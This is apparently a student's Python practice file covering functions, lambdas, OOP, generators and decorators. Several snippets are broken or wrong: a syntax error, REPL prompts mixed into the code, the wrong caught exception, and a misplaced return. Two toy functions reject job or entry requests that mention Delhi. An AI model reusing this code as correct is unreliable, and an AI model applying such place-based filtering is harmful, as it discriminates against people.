Python Practice

Python Practice

FUNCTIONS

 def say_hello():
#   print("Hello!")
#   print("Hello!")
#   print("Hello!")
#   print("Hello!")
#   print("Hello!")
#   print("Hello!")


# def say_hello():
#   print("Hey there!")
#   a = "Hello"
#   return("Whats up!")

# #return vs print
# #print displays the output
# #return saves the output so that you can use it afterwards.
# #once you use return, python thinks that the code is finished and there is no more to do. So if you use a command after returning, it will not run.


# result = say_hello()
# print(result)


# def say_goodbye():
#     print("good bye")

# say_goodbye()


# def square_of_10():
#     return 10 ** 2


# say_hello()

# say_goodbye()

# square_of_10()

# say_hello()


from random import random

from selenium.webdriver.remote.errorhandler import ErrorCode

# print(int(random() * 1000000))


def flip_coin():
    if random() > 0.5:
        return "Heads"
    else:
        return "Tails"


print(flip_coin())


def add(first, second):
    if type(first) == int and type(second) == int:
        return first + second
    else:
        return "Please enter only integers"


print(add(20, 5))


def power_to(number, power):
    return number ** power


print(power_to(50, 3))


def power_to(number, power, message):
    return f"{message} - {number ** power}"


print(power_to(50, 3))
print(power_to(50, 3, "Hello World"))
print(power_to("Hello World", 50, 3))


def filter_out(info):
    if info.lower().find("delhi") == -1:
        return "Your job request has been accepted"
    else:
        return "Sorry there was no job, it was a mistake"


user_input = input("What is your name and where are you from? ")

print(filter_out(user_input))


def sum_odd_numbers(numbers):
    total = 0
    for num in numbers:
        if num % 2 != 0:
            total += num
            return total


# print(sum_odd_numbers([1,2,3,4,5]))

# def power_to(number=5, power=2, message="The answer is"):
#     return f"{message} - {number ** power}"

# print(power_to(10, 4, "Hello"))
# print(power_to(10))
# print(power_to())


def add(a, b):
    return a + b


def subtract(a, b):
    return a - b


def divide(a, b):
    return a / b


def math(a, b, fn=add):
    return fn(a, b)


print(math(10, 120, subtract))
print(math(10, 120))


def full_name(first, last):
    return "Your name is " + first + " " + last + "."
    return f"Your name is {first} {last}."


def div(dividend, divisor):
    return dividend / divisor


print(full_name("D'Silva", "Jostin"))
print(div(2, 10))

print(div(divisor=2, dividend=10))


# Scope

result = "Hello World"


def power_to(number=5, power=2, message="The answer is"):
    dog = "Beagle"
    if number == 10:
        print(dog)
        name = "Arnold"
        print(name)
    result = f"{message} - {number ** power}"
    print(result)
    return result


print(power_to())
print(power_to(10))


num = 100


def power_to(number=5, power=2, message="The answer is"):
    global num
    num += 200
    return f"{message} - {number ** power}"


print(power_to(10))
print(num)
# built-in scope
a = 100


def outer():
    count = 0  ## non-local or global scope

    def inner():
        a = 20
        nonlocal count
        count += 1  # local scope
        return count

    return inner()


outer()

# nonlocal count
# count += 10
# print(count) # ERROR


def power_to(number=5, power=2, message="The answer is"):
    """This is a little information about this function. It will do some exponent math.
    This is my help/description about the function"""
    return f"{message} - {number ** power}"


print(power_to(10))

print(power_to.__doc__)

print(help(power_to))



def add(*nums):
    print(nums)
    print(type(nums))
    total = 0
    for num in nums:
        total += num
    return total

print(add(1,2,34,4,34,-1000,6,743,3))


def printme(*names):
    message = "Hello"
    for name in names:
        print(f"{message} {name}")

printme("Hello there",Aniket", 100, "Dinesh", True, "Rajesh", "Ashwini")

def entry(*names):
    if 'delhi' in names:
        print("You are not allowed in here")
    else:
        print("Please come in")

entry('Definite', True)
entry("delhi")
entry("Mumbai")

def profile(**details):
    print(details)

    for k,v in details.items():
        print(f"{k} - {str(v).upper()}")
    #print(f"{first_name} {last_name}")

print(profile(last_name="Wick", first_name="John", age=23, job="Software Developer"))

def show_info(a, b, *args, role="moderator", **kwargs):
    return [a, b, args, role, kwargs]

print(show_info(1, 2, 3, first_name="John", last_name="Wick"))

# # unpacking
def adding(*nums):
    total = 0
    for num in nums:
        total += num
    return total

list1 = [1,2,3,4]


print(add(*list1))

def say_name(first, last):
    print(f"My name is {first} {last}.")

name = {"first": "Don", "last_name": "Corleone"}

dict1 = {"first": "Lucifer", "last":"Morningstar"}
say_name(**dict1)
say_name(first="Don", last="Corleone")

def say_name2(**names):
    for k,v in names.items():
        print(f"My {k} is {v}")

say_name2(first="Don", last_name="Corleone", profession="Mafia")

def square(a):
    return a * a

print(square(10))

squared = lambda a,b: a * a * b
print(squared(20,10))
print(type(squared))

squared = 10
print(squared)
print(type(squared))


def math(a,b,fn):
    return fn(a,b)


def add(a,b):
    return a + b

print(math(10,20,add))

print(math(1200,2,lambda a,b: a * b))
print(math(200,12,lambda a,b: a * b + (a ** 2)))

nums = [1,2,3,4,5,6,7,8]

triples = list(map(lambda num: num ** 3, nums)) # map object
# quads = [num**4 for num in nums]
print(triples)
mul5 = [num * 5 for num in triples]
print(mul5)
print(dict(triples))
# print(list(triples))
# print(list(triples))
# print(quads)
names = ["Gordon Gecko", "Definite", "Will Smith", "Willis", "SSR", "Harvey Spectre", "Amir Khan", "Vijay Chauhan", "Bruce Wayne"]
filtered_list = list(filter(lambda name: name[0].lower() == 'w', names))
print(filtered_list)


def manipulate_list(list, command, location, value=None):
    if command == "add" and location == "end":
        if value:
            list.append(value)
            print(list)
        else:
            print("Please provide a value")
    elif command == "add" and location == "front":
        if value:
            list.insert(0, value)
            print(list)
        else:
            print("Please provide a value")
    elif command == "remove" and location == "end":
        if not value:
            list.pop()
            print(list)
        elif value != list[-1]:
            print(f"{value} is not the last value in the list")
            print(list)
        else:
            list.pop()
            print(list)
    elif command == "remove" and location == "front":
        if not value:
            list.pop(0)
            print(list)
        elif value != list[0]:
            print(f"{value} is not the first value in the list")
            print(list)
        else:
            list.pop(0)
            print(list)

my_list = [1, 2, 3, 4, 5]
manipulate_list(my_list, "add", "end", 100)
manipulate_list(my_list, "add", "front", 50)
manipulate_list(my_list, "remove", "end", 50)
manipulate_list(my_list, "remove", "front", 50)
manipulate_list(my_list, "remove", "end")
manipulate_list(my_list, "add", "end")

# Ex. 9


def is_palindrome(str):
    return str.lower() == str.lower()[::-1]


print(is_palindrome("anna"))


# Filter and map -> console output
nums = [1,2,3,4,5]
# >>>
mapped = map(lambda num: num + (num * 2), nums)
# >>>
print(mapped)
# <map object at 0x00000154D7637FA0>
list(10)
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: 'int' object is not iterable
>>> list("hello")
# ['h', 'e', 'l', 'l', 'o']
>>> list(mapped)
# [3, 6, 9, 12, 15]
>>> mapped = list(map(lambda num: num + (num * 2), nums))
>>> mapped
# [3, 6, 9, 12, 15]
# >>>
# >>>
>>> nums
# [1, 2, 3, 4, 5]
# >>>
# >>>
>>> filtered = list(filter(lambda num: num % 2 != 0, nums))
>>> filtered
# [1, 3, 5]
# >>>
>>> category = ["apple", "samsung", "lenovo", "hp", "dell", "asus"]
# >>>
>>> filtered = filter(lambda cat: cat == "apple", category)
# >>>
>>> list(filtered)
# ['apple']
# >>>
>>> user = ["apple", "Karbonn"]
# >>>
>>> filtered = filter(lambda cat: cat in user, category)
# >>>
>>> list(filtered)
# ['apple']
# >>>


names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]

survived = list(
    map(lambda name: f"Winner: {name}", list(filter(lambda name: len(name) < 5, names)))
)

print(survived)

names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]
print(all(names))

print(all([name[0] == "J" for name in names]))
print([name[0] == "J" for name in names])


print(any(name for name in names if len(name) > 3))


nums = (123, 123, 21314, 5, 643, 2, 23321, 1)

print(sorted(nums, reverse=True))


>>> sorted("Hello")
# ['H', 'e', 'l', 'l', 'o']
>>> sorted("Hello2324")
# ['2', '2', '3', '4', 'H', 'e', 'l', 'l', 'o']
>>> sorted("Hello2324JAS")
# ['2', '2', '3', '4', 'A', 'H', 'J', 'S', 'e', 'l', 'l', 'o']
>>> sorted([12,234,4,5,6])
# [4, 5, 6, 12, 234]
>>> tuple(sorted([12,234,4,5,6]))
# (4, 5, 6, 12, 234)
>>> tuple(sorted([12,234,4,5,6,6,6]))
# (4, 5, 6, 6, 6, 12, 234)
>>> set(sorted([12,234,4,5,6,6,6]))
# {4, 5, 6, 234, 12}
>>> sorted(set(sorted([12,234,4,5,6,6,6])))
# [4, 5, 6, 12, 234]
# >>>

# # Sidenote - generators
import sys

print(sys.getsizeof([1123213, 213, 213, 213, 21, 321, 3, 213, 213, 21, 3]))

lst = [num * 10000 for num in range(0, 1000)]
gen = (num * 10000 for num in range(0, 1000))

print(sys.getsizeof(lst))
print(sys.getsizeof(gen))


>>> reversed("hello")
# <reversed object at 0x000002304493A550>
# >>>
>>> list(reversed("hello"))
# ['o', 'l', 'l', 'e', 'h']
# >>>
# >>>
>>> "".join(reversed("hello"))
# 'olleh'
# >>>
# >>>
>>> abs(-33.3333)
# 33.3333
>>> abs(-33.3)
# 33.3
>>> abs(0)
# 0
>>> abs(-0)
# 0
# >>>
# >>>
# >>>
>>> sum([1,2,3])
# 6
>>> sum([1,2,3,-4])
# 2
>>> sum([1,2,3])
# 6
>>> sum([1,2,3], 100)
# 106
>>> sum([1,2,3], 5)
# 11
>>> sum(range(1, 21), 5)
# 215
>>> sum(range(1, 21), 1000)
# 1210
# >>>
# >>>
# >>>
>>> round(99.99)
# 100
>>> round(99.94)
# 100
>>> round(99.49)

ages = [23, 4, 532, 23, 45, 21, 98]
names = [
    "Hitler",
    "Elon Musk",
    "Warren Buffet",
    "Kim Jon Un",
    "Nikola Tesla",
]
birth_place = ["Austria", "South Africa", "New York", "North Korea", "USA"]

print(list(zip(names, ages, birth_place)))

ERROR HANDLING

try:
    # attempt
    num = int(input("Please enter a number: "))
except TypeError:
    # if unsuccessful
    print("That's not a number!")
else:
    # if successful
    print(num * 100)
finally:
    # runs either way (in the end). Whether success or error
    print("Runs no matter what!")


Write a function called inc_dec_list which accepts a list of numbers
and a command. If the command is "increase" then then add 1 to all
the numbers in the list and return that list. If the command is
"decrease" then subtract 1 instead. Use the map function to achieve this.


def inc_dec_list(num_list, command):
    if command == "increase":
        return list(map(lambda n: n + 1, num_list))
    elif command == "decrease":
        return list(map(lambda n: n - 1, num_list))
    else:
        return "Unknown Command"


print(inc_dec_list([10, 20, 30, 40, 50], "increment"))


num_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]

result = list(filter(lambda n: n < 7, num_list))

print(num_list)
print(result)


names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]
survived = list(
    map(lambda name: f"Winner: {name}", list(filter(lambda name: len(name) < 5, names)))
)
print(survived)

Some more data type practice

my_mixed_list = [23, True, "Hello", "mumbai", "delhi", "This is a very long string"]

print(my_mixed_list)
# # Ctrl /

for item in my_mixed_list:
    print(item)

# Exercise 1
# ...

my_dict = {"city1": ["mumbai", "kurla"], "city2": "delhi", "something_else": 2345}

print(my_dict["city2"])
print(my_dict["city1"])

print(my_dict["something_else"])


for key, value in my_dict.items():
    print(f"My {key} is {value}")


for value in my_dict.values():
    print(f"My value is {value}")

for key in my_dict.keys():
    print(f"My key is {key}")


def cool(num1, num2):
    return f"this is {num1} and this is {num2}"


def notcool(num1, num2):
    return num1 * num2


def my_func(number1, number2, number3):
    return number1 + number2 + number3


print(my_func(10, 20, -100))


def my_func2(number1, number2, func):
    return func(number1, number2)


print(my_func2(10, 20, cool))
print(my_func2(10, 20, notcool))


def coolman(*args):
    print(args)

    for item in args:
        print(item)


coolman("this", "that", "cricket")


def add(*nums):
    total = 0
    print(type(nums))

    for num in nums:
        total += num
        total = total + num

    return total


print(add(10, 20, 3, 4, 6, 89, 100))

MODULE

import random

print(random.random() * 100)
print(random.randint(10, 100))

# def random():
#     # code

# # import random

import random as cool

names = ["Donald Trump", "Kanye West", "Amir Khan", "Dubai", "Kurla"]

value = random.choice(["Donald Trump", "Kanye West", "Amir Khan"])
value = cool.choice(["Donald Trump", "Kanye West", "Amir Khan"])

print(names)
random.shuffle(names)
cool.shuffle(names)
print(names)
print(value)


# from random import randint as koi_number, choice as pasand, shuffle
from random import *

# print(randint(0, 10))
# print(koi_number(0, 50))
# print(pasand([1, 2, 3, 4, 5]))


print(randint(10, 100))
print(random())
print(choice(["first", "second"]))

Object Oriented Programming

class Human:
    def __init__(self, name, race, profession, city):
        self.name = name
        self.race = race
        self.profession = profession
        self.city = city
    def info(self):
        print(f"Name: {self.name}")
        print(f"Race: {self.race}")
        print(f"Prof: {self.profession}")
        print(f"City: {self.city}")

user1 = Human("Mojo Man", "Brown", "Python Developer", "Pune")

user2 = Human("John Brown", "Brown", "Java Developer", "Delhi")


print(user1.profession)
print(user2.city)

user1.info()
user2.info()

--------------------------------------------------------------------------

class Email:
    def __init__(self, to, cc, bcc, subject, message):
        self.to = to
        self.cc = cc
        self._bcc = bcc  # private attribute
        #self.__bcc = bcc  # Mangled attribute - _Email__bcc
        self.subject = subject
        self.message = message
        self.sender = "Gmail"

    def print_email(self):
        print(
            f"To: {self.to}\nCC: {self.cc}\nSubject: {self.subject}\nMessage: {self.message}"
        )

    # Getter method
    def get_bcc(self):
        return self._bcc

    # Setter method
    def set_bcc(self, email):
        self._bcc = email

my_email = Email(
    "john@gmail.com",
    None,
    "jack@outlook.com",
    "I am trying to install Numpy!",
    "It isn't happening.",
)

my_email2 = Email(
    "john2@gmail.com",
    "jon_snow@got.com",
    "jack2@outlook.com",
    "You know nothing",
    "Jon Snow. - Igrite",
)

print(my_email.to)
print(my_email.cc)
print(my_email.subject)
print(my_email.message)
print(my_email._Email__bcc)
print(my_email.sender)

my_email.to = "COOLMAN@COOLMAN.com"
my_email.sender = "Outlook.com"

print(my_email.to)
print(my_email.sender)

print(dir(my_email))


print(f"To: {my_email2.to}\nSubject: {my_email2.subject}")


my_email2.print_email()

print(my_email2.get_bcc()) #jack2@outlook.com
my_email2.set_bcc("hound@lannister.com")
print(my_email2.get_bcc()) #hound@lannister.com

----------------------------------------------------------------------------

class Pokemon:
    def __init__(self, name, type, **attacks):
        self.name = name
        self.type = type
        self.attacks = attacks
        self._health = 100

    # Getter method for private attribute health
    def get_health(self):
        return self._health

    def attack(self, attack_name):
        # will return a dictionary. ex: {"slash": 10}
        return {k: v for k, v in self.attacks.items() if k == attack_name}

    def damage(self, attack):
        # attack param is a dictionary. ex. {"fireball": 27}
        attack_name = list(attack.keys())[0]
        attack_hitpoints = list(attack.values())[0]
        #self._health = self._health - attack_hitpoints
        self._health -= attack_hitpoints
        print(self.name, "got hit by", attack_name, "and took a damage of",  attack_hitpoints, "%."
        )


pika = Pokemon("Pikachu", "Electric", slash=10, thundershock=25, speed=18)
char = Pokemon("Charmender", "Fire", slash=12, fireball=27, flamethrower=15, speed=5)

print(char.get_health())
pika.damage(
    char.attack("fireball")
    )

print(pika.get_health()) #73


--------------------------------------------------------------

# class User:
#     total_users = 0

#     def __init__(self, name, age):
#         self.name = name
#         self.age = age
#         User.total_users += 1

#     @classmethod
#     def get_total_users(cls):
#         return cls.total_users


# class Math:
#     @classmethod
#     def add(cls, a, b):
#         return a + b

#     @classmethod
#     def subtract(cls, a, b):
#         return a - b

# print(Math.add(10, 5))

# ganesh = User("Ganesh Gawde", "18")
# aniket = User("Aniket Ghume", "21")

# print(ganesh.age)
# print(aniket.age)

# print(ganesh.total_users)
# rajesh = User("Rajesh", "21")

# print(User.total_users)
# print(aniket.total_users)
# print(User.total_users)

# print(f"Class Method Result: {aniket.get_total_users()}")
# print(f"Class Method Result: {User.get_total_users()}")


-----------------------------------------------------------------------
# class User:
#     total_users = 0

#     def __init__(self, name, age):
#         self.name = name
#         self.age = age
#         User.total_users += 1

#     def __repr__(self):
#         return f"Name: {self.name}\nAge: {self.age}"

#     @classmethod
#     def get_total_users(cls):
#         return cls.total_users


# naaz = User("Naaz", 25)

# print(naaz)

----------------------------------------------------------------




# class User:
#     # constructor
#     def __init__(self, name, email):
#         self.name = name
#         self.__email = email  # __ - name mangling. _User__email

# john = User("John", "john@gmail.com")

# print(john.name)  # "John"
# print(john._User__email)  # "john@gmail.com"


--------------------------------------------------------------
# # Inheritance


# # Base class
# class User:
#     # constructor
#     def __init__(self, name, email):
#         self.name = name
#         self.email = email

#     def login(self):
#         return f"{self.name} has logged in"


# # Admin inherits from User
# class Admin(User):
#     def __init__(self, name, email, password):
#         self.name = name
#         self.email = email
#         self.password = password

#     def delete_user(self):
#         return f"You deleted a user"


# # # class Moderator(User):
# # #     pass

# # prat = User("Prat", "prat666@gmail.com")
# # vaibhav = Admin("Vaibhav", "coolzvaib@gmail.com", "1234")


# # print(prat.name)
# # print(prat.email)
# # print(vaibhav.name, vaibhav.password)

# # print(prat.login())
# # print(vaibhav.login())
# # print(prat.delete_user())
# # # print(prat.password)


# # ------------------------------


# class User:
#     def __init__(self, name, email):
#         self.name = name
#         self.email = email

#     def login(self):
#         return f"{self.name} has logged in"

# class Admin(User):
#     def __init__(self, name, email, password):
#         super().__init__(name, email)
#         # User.__init__(self, name, email)
#         # self.name = name
#         # self.email = email
#         self._password = password
#         print("I AM THE BASE!")

#     def get_password(self):
#          return self._password

#     def set_password(self, new_password):
#          self._password = new_password

#     @property
#     def password(self):
#         return self._password

#     @password.setter
#     def password(self, new_pass):
#         self._password = new_pass

# john = Admin("John Abraham", "john@dhoom.com", "bipashayabusa")

# print(john.get_password())
# john.name = "jane"

# john.set_password("northeastfc")
# print(john.get_password())

# print(f"New Name: {john.name}")
# print(john.name)

# print(john.password)
# john.password = "coolman198"
# print(john.password)


------------------------------------------------------

from colorama import init, Fore, Back, Style
from termcolor import colored
from colorama.initialise import colorama_text

# I have to to run this first.
init()


class User:
    total_users = []
    active_users = 0

    @classmethod
    def display_active_users(cls):
        print(f"There are currently {cls.active_users} users online.")

    @classmethod
    def display_total_users(cls):
        print(f"Total Users: {len(cls.total_users)}")
        idx = 0
        while idx < len(cls.total_users):
            print(f"No. {idx + 1}: {cls.total_users[idx]}")
            idx += 1

    def __init__(self, username, email, password, dob):
        self.username = username
        self.email = email
        self._password = password
        self._dob = dob
        User.total_users.append(email)

    def get_age(self):
        age = 2021 - int(self._dob.split("/")[2])
        print(f"{self.username} is {age} years old.")

    @property
    def password(self):
        return self._password

    @password.setter
    def password(self, new_password):
        self._password = new_password
        print("Your password has been updated")

    def login(self):
        if self.email in User.total_users:
            User.active_users += 1
            if isinstance(self, Moderator):
                print(colored(f"{self.username} just logged in.", "yellow"))
            else:
                print(f"{self.username} just logged in.")
        else:
            print(
                colored(
                    f"Access forbidden! {self.username} has been kicked out.", "red"
                )
            )

    def logout(self):
        User.active_users -= 1
        print(f"{self.username} has logged out.")


class Moderator(User):
    total_mods = 0

    def __init__(self, username, email, password, dob):
        super().__init__(username, email, password, dob)
        Moderator.total_mods += 1

    def delete_user(self, email):
        email_idx = User.total_users.index(email)
        User.total_users.pop(email_idx)


abhijeet = User("abhi777", "abhijeet777@gmail.com", "kadam32", "24/01/1995")
mitalee = User("mitaleeCool", "mitalee@gmail.com", "mitalee789", "06/05/1998")
pravin = User("pravin001", "pravinman@gmail.com", "pravin@123", "05/03/1998")
nikhilesh = Moderator("NikhileshMod", "iamcool@gmail.com", "nikmod51", "10/01/1999")
shweta = Moderator("shwetaMod", "shweta999@hotmail.com", "Sane888", "11/09/2001")
aadil = User("aadilcoolman", "aadil@gmail.com", "aAdIl007", "12/09/1999")

User.display_total_users()
abhijeet.login()
mitalee.login()
print(isinstance(pravin, User))
print(isinstance(nikhilesh, Moderator))
print(
    isinstance(nikhilesh, User)
)  # true, because moderator inherits from user. So nikhilesh is both
pravin.login()
abhijeet.get_age()
# mitalee.delete_user("mitalee@gmail.com")
shweta.login()
User.display_total_users()
print(User.total_users)
User.display_total_users()
nikhilesh.get_age()
shweta.password = "askjdnu632"
print(shweta.password)
User.display_active_users()
aadil.login()
User.display_active_users()
aadil.logout()
User.display_active_users()



------------------------------------------------------


from datetime import datetime
from tabulate import tabulate


class List:
    active = []
    completed = []

    @classmethod
    def add_task(cls, todo_item):
        if todo_item.status != "completed":
            cls.active.append(todo_item)
        else:
            cls.completed.append(todo_item)

    @classmethod
    def list_tasks(cls):
        # [print(todo.task) for todo in cls.active]
        print(tabulate([todo.task for todo in cls.active]))

    @staticmethod
    def yo_man(x):
        print("yo man", x)


class Todo:
    status_types = ("current", "in_progress", "in_review", "completed")

    def __init__(self, task, project=None, due_date=None, status="current", *tags):
        self.task = task
        self.project = project
        self.due_date = due_date
        self.tags = list(tags)
        self._created_at = str(datetime.now())  # private attribute
        if status not in Todo.status_types:
            return f"Invalid status. Please enter any one from the following: 'current', 'in_progress', 'in_review', 'completed'."
        else:
            self.status = status
        List.add_task(self)


todo1 = Todo("Test this application")
todo2 = Todo("This is a simple task")

List.list_tasks()

# static method, doesnt care about the class and its working or its attributes of functions, works independently
List.yo_man("pravin")



-------------------------------------------------------------------------

from random import choice
from copy import copy


class Animal:
    names = ["Walter", "Jesse", "Lisa", "Jenny", "Don", "Joe", "Jack", "Lee"]

    def __init__(self, name, type, breed, sound):
        self.name = name
        self.type = type
        self.breed = breed
        self.sound = sound

    def __repr__(self):
        return f"\nName: {self.name}\nType: {self.type}\nBreed: {self.breed}\nSound: {self.sound}\n"

    def __add__(self, other):
        if self.type != other.type:
            raise TypeError(
                f"A {self.type} and a {other.type} can't mate you sick freak!"
            )
        else:
            print(f"{self.name} is mating with {other.name} *********")
            species = type(self)
            new_breed = choice([self.breed, other.breed])
            offspring = species(choice(Animal.names), new_breed)
            print(f"Child Born:\n{offspring}")
            return offspring

    def __len__(self):
        return 100  # you have to return an integer if you want to overwrite this magic method

    def __gt__(self, other):
        if self.type == "Dog" and other.type == "Fish":
            return True
        else:
            return False

    def __mul__(self, other):
        if isinstance(other, int):
            return [copy(self) for i in range(other)]

    def make_sound(self):
        print(self.sound * 10)


class Dog(Animal):
    def __init__(self, name, breed):
        super().__init__(name, "Dog", breed, "bark")

    def make_sound(self):
        print(
            f"{self.sound * 2} Human, my name is {self.name} and I am a Daoug. {self.sound * 3}"
        )


class Fish(Animal):
    def __init__(self, name, breed):
        super().__init__(name, "Fish", breed, "splash")



tiger = Animal("Kaalu", "wild", "Jungle", "Roar")
lab = Dog("Bucky", "Labrador")
lab2 = Dog("Emily", "Labrador")
new_dog = Dog("Jack", "German Shepard")
shark = Fish("Matt", "Great White")
print(new_dog)
lab.make_sound()
shark.make_sound()
shark + new_dog  # TypeError
lab + lab2
child = lab + lab2 + new_dog
print(child.make_sound())
print(f"{child.make_sound()} is barking!")
print(lab + shark)
print(len(lab2))
print(lab > shark)
print(lab2 > lab)
dog_clones = lab * 5
# # We get back a new list of cloned dogs
print(dog_clones)
print(dog_clones[0] is dog_clones[1])  # they are different objects in memory

Generators

# name = "Khula Saand"
# name_iterator = iter(name)
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))


# # # Custom for loop
# def custom_for(iterable):
#     iterator = iter(iterable)

#     while True:
#         try:
#             print(next(iterator))
#         except StopIteration:
#             break


# # # Custom map function
# def custom_map(function, iterable):
#     iterator = iter(iterable)

#     while True:
#         try:
#             i = next(iterator)
#         except StopIteration:
#             break
#         else:
#             function(i)


# custom_for([1234, 124, 234, 1, 12, 21, 43])
# newVar = []
# custom_map(lambda x: newVar.append(x * 10), "hello")
# print("".join(newVar))


# # # Custom iterable (range function clone)
# class Counter:
#     def __init__(self, start=None, end=None, step=1):
#         if start == None:
#             self.current = 0
#             self.end = end
#         elif end == None:
#             self.current = 0
#             self.end = start
#         else:
#             self.current = start
#             self.end = end
#         self.step = step

#     #     # This is needed
#     def __iter__(self):
#         # so what this returns is what the iter() function will return
#         # This needs to be an iterator and not something stupid
#         # return iter("hello") # this will work, as it is an iterable
#         return (
#             self  # won't work without the below __next__ as it is not an iterator yet
#         )

#     # what we need is begin with `start` and keep going to `end`
#     def __next__(self):
#         if self.current >= self.end:
#             num = self.current
#             self.current += self.step
#             return num
#         elif self.current <= self.end:
#             num = self.current
#             self.current -= self.step
#             return num
#         else:
#             raise StopIteration


# c = Counter(10, 20)
# iter(c)
# d = Counter(10, 0)
# for x in Counter(0, 10, 2):
#     print(x)

# for x in Counter(10, 0, -2):
#     print(x)


# # Generator
# def count_up_to(max):
#     count = 1
#     while count <= max:
#         yield count
#         count += 1


# counter = count_up_to(10)
# print([num for num in count_up_to(12)])


# def gen_counter(start, end, step=1):
#     while start < end:
#         yield start
#         start += step


# def gen_counter(start, end):
#     while start < end:
#         yield start
#         start += 1


# c = gen_counter(1, 10)
# print(help(c))  # show this
# print(c)
# print(list(c))  # show this as well


# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))

# for num in gen_counter(1, 10):
#     print(num)


def week():
    days = [
        "Monday",
        "Tuesday",
        "Wednesday",
        "Thursday",
        "Friday",
        "Saturday",
        "Sunday",
    ]
    for day in days:
        a = yield day
        print(a)


week()

Generator Expressions

# # Generator expression

# generated_nums = list((num for num in range(1000)))

# print(generated_nums)


# from sys import getsizeof

# nums_gen = (num ** 100 for num in range(10000000))
# print(f"Using a generator: {getsizeof(nums_gen)}")

# nums_list = sum([num ** 100 for num in range(10000000)])
# print(f"Using list comp: {getsizeof(nums_list)}")

# # 0, 1


# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(b)
#         a, b = b, a + b
# return nums


# for num in fib_list(1000000):
#    print(num)


# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1


# for num in fib_gen(1000000):
#     print(num)


# def add(a, b):
#     return a + b


# def sub(a, b):
#     return a - b


# # HOF
# def math(a, b, fn):
#     return fn(a, b)


# print(math(10, 20, sub))


# def sum(n, func):
#     total = 0
#     for num in range(1, n + 1):
#         total += func(num)
#     return total


# def square(n):
#     return n * n

# def cube(n):
#     return n * n * n

# print(sum(3, square))
# print(sum(3, cube))

import random


def greet(person):
    def get_mood():
        mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
        msg = random.choice(mood)  # import random
        return msg

    result = f"{get_mood()} {person}"
    return result


print(greet("Salman"))


# function generator
def make_greet_func(person):  # closure
    def make_message():
        msg = random.choice(
            ["Hello", "What!", "What the heck do you want!", "Get lost!"]
        )
        return f"{msg} {person}"

    return make_message


greet_aditi = make_greet_func("Aditi")

print(greet_aditi())
print(greet_aditi())
print(greet_aditi())
print(greet_aditi())

Higher Order Functions

def stars(fn):
    def wrapper():
        print("*" * 10)
        fn()
        print("*" * 10)

    return wrapper


def say_hello():
    print("Hello World")


say_hello()

new_hello = stars(say_hello)

new_hello()


# function 1


def name():
    print("Pravin")


def mountain():
    print("Himalaya is cool")


# # function 2
def greet(func):

    name()
    print("HELLO BRO!")

    # new inner function
    def wrapper():
        print("Abe saale")
        print(10 ** 4)
        func()

    return wrapper


returned_func = greet(mountain)

returned_func()

def add(a, b):
    print("Hello mojo")
    return a + b

x = add(10, 50)
print(x + 10000)

returned_func()

from random import choice

# HOF (DECORATOR)
def mood(fn):
    def wrapper():
        messages = ["Get lost!", "Hello", "Piss off", "Buy beer"]
        return f"{choice(messages)} {fn()}"

    return wrapper


@mood  # name = mood(name)
def name():
    names = ["Salman", "Pravin", "Nikhilesh", "Shweta", "Mitalee", "Aditi"]
    return choice(names)


@mood
def mountains():
    mt_names = ["Mount Abu", "Mont Blanc", "Sahara", "Pravin"]
    return choice(mt_names)


name = mood(name)

print(name())
print(mountains())


greeting = mood(name)

print(greeting())







# def add(a, b):
#     return a + b

# result = add(10,20)


# # Make uppercase decorator
# def make_upper_case(fn):
#     def wrapper(*args, **kwargs):
#         return fn(*args, **kwargs).upper()

#     return wrapper


# @make_upper_case
# def say_hello(name):
#     return f"Hello, {name}."


# @make_upper_case
# def custom_hello(msg, name):
#     return f"{msg} {name}"


# @make_upper_case
# def add(a, b, c):
#     result = a + b + c
#     return f"The result of adding {a}, {b}, {c} is {result}"


# print(add(c=50, a=10, b=1000))

# say_hello = make_upper_case(say_hello)

# print(say_hello("hello world"))  # wrapper(arg) -> HELLO, HELLO WORLD!
# print(say_hello(1000))  # wrapper(arg) -> HELLO, HELLO WORLD!

# message = custom_hello("Hey bruv", "John Doe")
# print(message)

# # def add(*args):
# #     print(args)
# #     return args[0] + args[1]
# # print(add(10))


# # import time
# from time import time


# def sum_gen(value):
#     print("Executing sum_gen")
#     start_time = time()
#     result = sum(num for num in range(value))
#     end_time = time()
#     print(f"Total time elapsed: {end_time - start_time}")
#     return result


# def sum_list(value):
#     print("Executing sum_list")
#     start_time = time()
#     result = sum([num for num in range(value)])
#     end_time = time()
#     print(f"Total time elapsed: {end_time - start_time}")
#     return result


# # Speed test decorator
# def speed_test(fn):
#     def wrapper(*args, **kwargs):
#         print(f"Executing {fn.__name__}")
#         start_time = time()
#         result = fn(*args, **kwargs)
#         end_time = time()
#         print(f"Total time elapsed: {end_time - start_time}")
#         return result

#     return wrapper


# @speed_test
# def sum_gen(value):
#     return sum(num for num in range(value))


# @speed_test
# def sum_list(value):
#     return sum([num for num in range(value)])


# @speed_test
# def greet(name):
#     return f"Hello {name}"


# print(sum_gen(1000))
# print(sum_list(1000))
# print(greet("John Doe"))


# # Limit arguments decorator
# # def limit_args(fn):
# #     def wrapper(*args, **kwargs):
# #         if len(args) <= 2 or len(args) < 5:
# #             return fn(*args, **kwargs)
# #         else:
# #             return "Either too many or too less arguments"

# #     return wrapper


# # @limit_args
# # def add(*args):
# #     return sum(args)


# # print(add(1, 23, 432, 22, 1, 1, 1, 223))
# # print(add(1, 23, 432, 22))
# # print(add(1, 1))


# Authenticate/authorize decorator
def authenticate(fn):
    def wrapper(*args, **kwargs):
        if args[0]["role"] == "admin":
            return fn(*args, **kwargs)
        else:
            return "NOT AUTHORIZED"

    return wrapper


@authenticate
def access_page(user):
    return "SECRET CONTENT"


